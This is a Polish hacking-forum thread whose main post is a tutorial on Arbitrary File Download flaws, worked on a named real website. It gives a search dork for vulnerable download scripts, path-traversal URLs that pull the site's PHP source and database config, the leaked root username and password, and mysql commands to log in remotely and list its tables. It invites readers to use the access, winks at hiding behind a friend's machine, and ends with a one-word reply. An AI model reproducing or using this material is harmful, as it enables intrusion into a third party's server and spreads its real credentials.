Autor |
Wiadomość |
WhoAmI
Admin
Dołączył: 13 Lip 2008
Posty: 68
Przeczytał: 0 tematów
Ostrzeżeń: 0/6 Skąd: Się biorą dzieci? Płeć:
|
|
[tutorial] Arbitrary File Download |
|
Witam... Napisałem krótki tekst odnośnie AFD (luki typu Arbitrary File Download, czyli w wolnym tłumaczeniu "Pobranie Dowolnego Pliku") - dla początkujących w tej dziedzinie.
Tekst pisany na konkretnym (jeszcze żywym) przykładzie. Zanim zaczniemy chce prosić wszystkich czytelników, że gdy już będą mieli nieograniczony dostęp do zasobów bazy, żeby nie mieszali zanadto (aby inni czytelnicy też mogli skorzystać). I żadnego usuwania!
Tekst służy wyłącznie celom edukacyjnym (bo przecież nie dzikiej rozrywce
| | Jednak do rzeczy - mamy serwis (prawdziwy, jednak użyjemy go do celów edukacyjnych oczywiście ;):
[link widoczny dla zalogowanych]
Pierwszym sposobem jest sprawdzenie strony (pod kątem występowania AFD) na piechotę - wtedy interesują nas szczególnie skrypty o nazwach takich jak getfile.php, file.php, download.php które jako parametr przyjmują ścieżkę do pliku (najczęściej jest to ścieżka względna). Mamy taki skrypt na tej stronie:
[link widoczny dla zalogowanych] plik]
Drugim sposobem jest sprawdzenie podatności na AFD używając Google'a - wyszukujemy wtedy ewentualne URLe które mogą nam wskazywać w którym skrypcie występuje podatność:
poszukujemy kilku słów kluczowych w jednej frazie:
inurl:agropark.dk (getfile.php OR file.php OR get.php OR download.php OR display.php OR url.php OR data.php)
(przynajmniej ja tak to czynię i dość często się udaje)
Wiemy już, że skrypt podatny jest na AFD - możemy pobrać skrypt PHP (bez jego wykonania przez parser) wraz z zawartością (czyli kodem PHP). Spróbujmy zatem pobrać kod strony głównej (index.php):
http://www.agropark.dk/getfile.php?filen=../index.php
po pobraniu zawartości index.php widzimy includowanie pliku "connect.php" z (prawdopodobnie) konfiguracją połączenia do bazy danych.
http://www.agropark.dk/getfile.php?filen=../connect.php
Rzeczywiście, w pliku 'connect.php' znajdowała się konfiguracja bazy danych. Mamy więc ustawienia bazy (odpowiednio adres bazy, login, hasło, nazwę bazy):
hostname = "localhost";
username = "root";
passwd = "poli10";
dbName = "agropark"
Łączymy się z bazą ze swojej maszyny (albo lepiej maszyny kolegi ;-) (przydałby się mysql zainstalowany) wykorzystując zdobyte dane (zwróćcie uwage, że adres bazy podany w skrypcie to 'localhost' (baza więc znajduje się na tym samym serwerze co strona więc my (łącząc się z naszego komputera musimy połączyć się ze zdalnym komputerem o adresie takim samym jak adres strony - czyli w naszym wypadku będzie to 'agropark.dk'):
C:\usr\mysql\bin>mysql.exe -h agropark.dk -u root -p
Enter password:poli10
...czekamy...
i gdy ukaże się nam tekst powitalny i znak zachęty:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5392700 to server version: 4.1.12-standard
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql>
to jesteśmy w siódmym niebie ;> Najpierw wybieramy bazę poleceniem:
mysql> USE agropark;
(nazwę bazy znamy ze skryptu konfiguracyjnego)
Jeśli wszystko się udało, to mamy połączenie z bazą i mamy wybraną bazę na której działa serwis. Teraz wystarczy zaglądnąć jakie tabele siedzą w bazie przy pomocy polecenia:
mysql> SHOW TABLES;
Po chwili mysql wylistuje nam zawartość bazy (ukażą się wszystkie tabele w bazie). Powinno to wyglądać następująco:
mysql> show tables;
+-----------------------+
| Tables_in_agropark |
+-----------------------+
| best_andet_grupper |
| best_andet_indhold |
| best_grupper |
| best_indhold |
| bestyr_kalender |
| bestyr_vedtaegter |
| bestyr_vedtaegter_kat |
| bestyrelse |
| booking |
| booking_text |
| download |
| download_e |
| download_grp |
| download_grp_e |
| download_grp_uk |
| download_uk |
| drift |
| files |
| firma |
| ide |
| info |
| intkalender |
| intranet_tekst |
| kalender |
| kantinen |
| leverandor |
| link |
| linkref |
| linktype |
| mode |
| news |
| newsletter |
| nyhedsbrev |
| nyhedsbrev_tekst |
| opslagstavle |
| personer |
| picture |
| presse |
| pressen |
| site |
| site_e |
| site_files |
| site_uk |
| sprog |
| teaser |
| tekst |
| topmenu |
| topmenu_e |
| topmenu_uk |
| user |
| user2 |
| velkomstbog |
| virksomheder |
+-----------------------+
53 rows in set (0.06 sec)
Po tej operacji, znamy już nazwy tabel i możemy robić z nimi wszystko: modyfikować, usuwać, dodawać nowe (po co?;). My jedynie podejrzymy zawartość jednej z nich, niech to będzie tabela "link". Piszemy więc:
mysql> select * from link;
dostajemy zawartość tabeli przechowującej łącza do innych stron. OK... Tylko proszę Was - róbcie to z głową...., z głową.... jeśli już musicie mieszać ;> |
| | Pozdrawiam wszystkich z DevilTeam! |
Text skopiowany: "http://devilteam.pl/"
Autor: @HackedByLukas
Post został pochwalony 0 razy
|
|
Pią 10:02, 18 Lip 2008 |
|
|
|
|
Pastinho37
Dołączył: 18 Mar 2014
Posty: 4
Przeczytał: 0 tematów
Ostrzeżeń: 0/6 Skąd: Dobiegniew
|
|
|
|
dzieki
Post został pochwalony 0 razy
|
|
Wto 22:27, 18 Mar 2014 |
|
|
|
|
Nie możesz pisać nowych tematów Nie możesz odpowiadać w tematach Nie możesz zmieniać swoich postów Nie możesz usuwać swoich postów Nie możesz głosować w ankietach
|
|
|